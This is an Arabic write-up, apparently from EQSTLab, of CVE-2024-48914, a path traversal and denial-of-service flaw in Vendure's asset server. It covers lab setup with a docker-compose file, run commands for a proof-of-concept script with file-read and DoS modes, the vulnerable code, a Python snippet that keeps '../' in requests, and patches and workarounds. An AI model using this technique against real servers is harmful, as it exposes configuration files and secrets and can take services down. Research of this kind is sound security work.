
قراءة ملف تعسفي وDoS في exploit vendure-ecommerce
هذه المقالة هي بحث منشور من قبل EQSTLab.
شكرًا لـ Rajesh Sharma الذي اكتشف هذه الثغرة.
★ CVE-2024-48914 - إثبات مفهوم لقراءة الملفات التعسفية وهجمات حجب الخدمة ★
CVE-2024-48914: ثغرة قراءة ملفات تعسفية وهجوم حجب خدمة في vendure-ecommerce
الوصف: Vendure هي منصة تجارة إلكترونية مفتوحة المصدر بدون واجهة أمامية. قبل الإصدارين 3.0.5 و 2.3.3، توجد ثغرة في إضافة خادم الأصول في Vendure تسمح للمهاجم بتشكيل طلب يمكنه اجتياز نظام ملفات الخادم واسترجاع محتويات ملفات عشوائية، بما في ذلك البيانات الحساسة مثل ملفات الإعدادات ومتغيرات البيئة وغيرها من البيانات الهامة المخزنة على الخادم. في نفس مسار الكود، يوجد متجه إضافي لتعطيل الخادم عبر URI مشوه. تتوفر تصحيحات في الإصدارين 3.0.5 و 2.3.3. تتوفر أيضًا بعض الحلول البديلة. يمكن استخدام تخزين الكائنات بدلاً من نظام الملفات المحلي، مثل MinIO أو S3، أو تعريف وسيطة (middleware) تكتشف وتحظر الطلبات التي تحتوي على /../ في عناوين URL.
تنزيل الإصدار الضعيف (v3.0.4):
npm install
npm run build
docker-compose.yml
# This contains the services required to develop and test Vendure
# locally. It includes multiple SQL databases (for testing specific
# versions), Elasticsearch, Redis etc.
version: '3.7'
name: vendure-monorepo
services:
mariadb:
image: 'bitnami/mariadb:latest'
container_name: mariadb
environment:
MARIADB_DATABASE: vendure-dev
MARIADB_ROOT_USER: vendure
MARIADB_ROOT_PASSWORD: password
volumes:
- 'mariadb_data:/bitnami'
ports:
- '3306:3306'
mysql_8:
image: bitnami/mysql:8.0
container_name: mysql-8
environment:
MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
MYSQL_DATABASE: vendure-dev
MYSQL_ROOT_USER: vendure
MYSQL_ROOT_PASSWORD: password
volumes:
- 'mysql_data:/bitnami'
ports:
- '3306:3306'
mysql_5:
image: bitnami/mysql:5.7
container_name: mysql-5.7
environment:
MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
MYSQL_DATABASE: vendure-dev
MYSQL_ROOT_USER: vendure
MYSQL_ROOT_PASSWORD: password
volumes:
- 'mysql_data:/bitnami'
ports:
- '3306:3306'
postgres_12:
image: postgres:12.3
container_name: postgres_12
environment:
POSTGRES_DB: vendure-dev
POSTGRES_USER: vendure
POSTGRES_PASSWORD: password
PGDATA: /var/lib/postgresql/data
volumes:
- postgres_12_data:/var/lib/postgresql/data
ports:
- "5432:5432"
command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
postgres_16:
image: postgres:16
container_name: postgres_16
environment:
POSTGRES_DB: vendure-dev
POSTGRES_USER: vendure
POSTGRES_PASSWORD: password
PGDATA: /var/lib/postgresql/data
volumes:
- postgres_16_data:/var/lib/postgresql/data
ports:
- "5432:5432"
command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
# This is the Keycloak service which is used
# to test the Keycloak auth strategy
keycloak:
image: quay.io/keycloak/keycloak
ports:
- "9000:8080"
environment:
KEYCLOAK_ADMIN: admin
KEYCLOAK_ADMIN_PASSWORD: admin
command:
- start-dev
- --import-realm
volumes:
- keycloak_data:/opt/keycloak/data
elasticsearch:
image: docker.elastic.co/elasticsearch/elasticsearch:7.10.2
container_name: elasticsearch
environment:
- discovery.type=single-node
- bootstrap.memory_lock=true
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
ulimits:
memlock:
soft: -1
hard: -1
volumes:
- esdata:/usr/share/elasticsearch/data
ports:
- 9200:9200
redis:
image: bitnami/redis:7.4.1
hostname: redis
container_name: redis
environment:
- ALLOW_EMPTY_PASSWORD=yes
ports:
- "6379:6379"
volumes:
postgres_16_data:
driver: local
postgres_12_data:
driver: local
mariadb_data:
driver: local
mysql_data:
driver: local
keycloak_data:
driver: local
esdata:
driver: local
الأمر للتشغيل
docker-compose up -d mariadb
docker-compose up -d elasticsearch
cd packages/dev-server
npm run populate
npm run start
git clone https://github.com/EQSTLab/CVE-2024-48914.git
cd CVE-2024-48914
pip install -r requirements.txt
# قراءة ملف تعسفي (الوضع 1)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -f <FILE_TO_READ> -m 1
# هجوم حجب الخدمة (الوضع 2)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -m 2
CVE-2024-48914.py (قراءة ملف تعسفي)

CVE-2024-48914.py (هجوم حجب الخدمة)

vendure/packages/asset-server-plugin/src/plugin.ts
const decodedReqPath = decodeURIComponent(req.path);
if (imageParamsString !== '') {
const imageParamHash = this.md5(imageParamsString);
return path.join(this.cacheDir, this.addSuffix(decodedReqPath, imageParamHash, imageFormat));
} else {
return decodedReqPath;
}
تنشأ الثغرة من استخدام decodedReqPath مباشرةً في path.join دون إجراء أي تطبيع للمسار، مثل path.normalize في Node.js. تسمح هذه الثغرة للمهاجم بتشكيل طلب يمكنه اجتياز نظام ملفات الخادم واسترجاع محتويات ملفات عشوائية، بما في ذلك البيانات الحساسة مثل ملفات الإعدادات ومتغيرات البيئة وغيرها من البيانات الهامة المخزنة على الخادم.
عند استخدام وحدة الطلبات (requests) في بايثون، يتم إزالة "../" من مسار URL. إذا استخدمت "الطلبات المعدة" (prepared requests) كما هو موضح أدناه، يمكنك استخدام وحدة الطلبات دون إزالة "../" من مسار URL.
def readFile(self) -> None:
url = f"{self.url}/assets/../{self.file}"
s = requests.Session()
req = requests.Request(method='GET' ,url=url)
prep = req.prepare()
prep.url = url
response = s.send(prep, verify=False)
...
هذا المستودع ليس مخصصًا ليكون استغلالًا لقراءة ملفات تعسفية أو هجوم حجب خدمة لـ CVE-2024-48914. الغرض من هذا المشروع هو مساعدة الناس على تعلم هذه الثغرة، وربما اختبار تطبيقاتهم الخاصة.
https://github.com/vendure-ecommerce/vendure/security/advisories/GHSA-r9mq-3c9r-fmjq https://github.com/vendure-ecommerce/vendure/tree/v3.0.4